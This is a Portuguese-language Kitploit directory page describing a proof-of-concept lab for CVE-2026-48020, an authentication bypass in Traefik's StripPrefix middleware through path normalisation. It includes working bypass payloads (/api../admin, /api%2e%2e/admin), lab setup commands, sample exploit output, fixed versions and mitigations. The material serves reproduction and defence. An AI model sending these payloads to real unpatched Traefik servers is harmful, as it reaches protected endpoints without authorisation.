Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization — Laboratório de prova de conceito para o CVE-2026-48020, demonstrando uma bypass crítica de autenticação no middleware StripPrefix do Traefik por meio de normalização de caminho. Inclui ambiente de reprodução baseado em Docker e scripts de verificação. | Kitploit
Ferramentas/GitHubGitHub/hunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubhunt-benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

Laboratório de prova de conceito para o CVE-2026-48020, demonstrando uma bypass crítica de autenticação no middleware StripPrefix do Traefik por meio de normalização de caminho. Inclui ambiente de reprodução baseado em Docker e scripts de verificação.

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-48020 — Bypass de Autenticação a Nível de Rota do StripPrefix do Traefik (PoC)

Uma prova de conceito autocontida para CVE-2026-48020, um bypass de autenticação/autorização a nível de rota no middleware StripPrefix do Traefik causado pela normalização de caminho que ocorre após as decisões de roteamento serem tomadas.

Uma requisição como GET /api../admin é roteada através de um roteador público PathPrefix(/api) no momento do roteamento (portanto, o middleware basicAuth do roteador protegido nunca é anexado), mas após o StripPrefix remover /api e o req.URL.JoinPath() do Go normalizar o restante /../admin, o backend recebe — um caminho que deveria estar protegido.

/admin
CVECVE-2026-48020
GHSAGHSA-xf64-8mw2-4gr2
CVSS 3.1 (NVD)10.0 Crítico (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
AfetadoTraefik <= v2.11.46, <= v3.6.17, <= v3.7.1
Corrigido emv2.11.48, v3.6.19, v3.7.3

Layout do laboratório

root@kitploit:~
client (poc.py)
   │  GET /api../admin        ← no credentials
   ▼
Traefik :18080   ──routing──▶ public-api router (PathPrefix /api)  + StripPrefix
                   (skips)   protected router  (PathPrefix /admin) + basicAuth
   │  after StripPrefix("/api"):  /../admin  ──JoinPath()──▶  /admin
   ▼
backend :9000   ──▶  200 { "secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin" }

Arquivos

ArquivoPropósito
docker-compose.ymlSobe um Traefik vulnerável (v3.7.1) + um backend Python
dynamic.ymlConfiguração dinâmica do Traefik: uma rota pública /api com strip e uma rota protegida /admin,/internal atrás de basicAuth
backend.pyBackend pequeno que retorna um segredo para os caminhos protegidos
poc.pyEnvia os payloads de bypass e relata quais caminhos foram alcançados

Reproduzir

root@kitploit:~
docker compose up -d --wait          # start Traefik v3.7.1 + backend
python3 poc.py                        # run the bypass checks

Saída esperada em um Traefik vulnerável

root@kitploit:~
[*] Target: http://127.0.0.1:18080

  [blocked] direct protected (auth enforced)      /admin
          -> status=401  body=...
  [blocked] direct protected (auth enforced)      /internal/config
          -> status=401  body=...
  [safe  ] public strip + exclusion (safe)        /api/admin
          -> status=404  body=...
  [safe  ] public strip + exclusion (safe)        /api/internal/config
          -> status=404  body=...
  [!] BYPASS  literal ..                          /api../admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  [!] BYPASS  encoded %2e%2e                      /api%2e%2e/admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", ...}
  ...
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.

Em um Traefik corrigido (v3.7.3)

Os payloads de bypass retornam 404 em vez de 200. O patch (Traefik PR #13215) rejeita qualquer requisição cujo caminho difira após a normalização do StripPrefix/StripPrefixRegex, portanto a reescrita /../admin é detectada e recusada.

Verificar a correção

root@kitploit:~
# patch the image tag in docker-compose.yml to a fixed version, e.g.:
sed -i 's/traefik:v3.7.1/traefik:v3.7.3/' docker-compose.yml
docker compose up -d --force-recreate
python3 poc.py        # bypass payloads now return 404 -> "No bypass observed"

Mitigações (sem atualizar)

Impeça que a rota pública corresponda à forma de traversal:

root@kitploit:~
# Either anchor the prefix so it cannot be followed by '..'
rule: 'PathRegexp(`^/api(/|$)`) && ...'
# or use a trailing-slash prefix + a trailing-slash strip
PathPrefix(`/api/`)  +  StripPrefix(`/api/`)

Divulgação

Relatado aos mantenedores do Traefik por WonYun / kyun0 (GitHub: H4ck2); corrigido em GHSA-xf64-8mw2-4gr2. Este laboratório PoC é uma reprodução independente criada para o artigo acompanhante: https://www.hunt-benito.com/blog/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization/.

Baixar ferramenta